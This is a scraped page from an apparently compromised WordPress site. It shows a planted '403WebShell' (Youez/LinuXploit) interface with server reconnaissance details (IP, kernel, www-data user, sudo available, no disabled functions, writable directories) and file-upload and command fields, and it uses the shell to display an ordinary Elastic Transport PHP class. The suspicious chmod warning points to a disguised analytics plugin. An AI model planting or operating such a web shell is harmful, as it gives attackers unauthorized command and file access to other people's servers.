Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/vendor/elastic/transport/src/NodePool/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/vendor/elastic/transport/src/NodePool/SimpleNodePool.php
<?php
/**
 * Elastic Transport
 *
 * @link      https://github.com/elastic/elastic-transport-php
 * @copyright Copyright (c) Elasticsearch B.V (https://www.elastic.co)
 * @license   https://opensource.org/licenses/MIT MIT License
 *
 * Licensed to Elasticsearch B.V under one or more agreements.
 * Elasticsearch B.V licenses this file to you under the MIT License.
 * See the LICENSE file in the project root for more information.
 */
declare(strict_types=1);

namespace Elastic\Transport\NodePool;

use Elastic\Transport\NodePool\Resurrect\ResurrectInterface;
use Elastic\Transport\NodePool\Selector\SelectorInterface;
use Elastic\Transport\Exception\NoNodeAvailableException;

use function count;
use function shuffle;
use function sprintf;

class SimpleNodePool implements NodePoolInterface
{
    /**
     * @var array
     */
    protected $nodes = [];
    
    /**
     * @var SelectorInterface
     */
    protected $selector;

    /**
     * @var ResurrectInterface
     */
    protected $resurrect;

    public function __construct(SelectorInterface $selector, ResurrectInterface $resurrect)
    {   
        $this->selector = $selector;
        $this->resurrect = $resurrect;
    }

    public function setHosts(array $hosts): self
    {
        $this->nodes = [];
        foreach ($hosts as $host) {
            $this->nodes[] = new Node($host);
        }
        shuffle($this->nodes); // randomize for use different hosts on each execution
        $this->selector->setNodes($this->nodes);
        
        return $this;
    }

    public function nextNode(): Node
    {
        $totNodes = count($this->nodes);
        $dead = 0;

        while ($dead < $totNodes) {
            $next = $this->selector->nextNode();
            if ($next->isAlive()) {
                return $next;
            }
            if ($this->resurrect->ping($next)) {
                $next->markAlive(true);
                return $next;
            }
            $dead++;
        }

        throw new NoNodeAvailableException(sprintf(
            'No alive nodes. All the %d nodes seem to be down.',
            $totNodes
        ));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit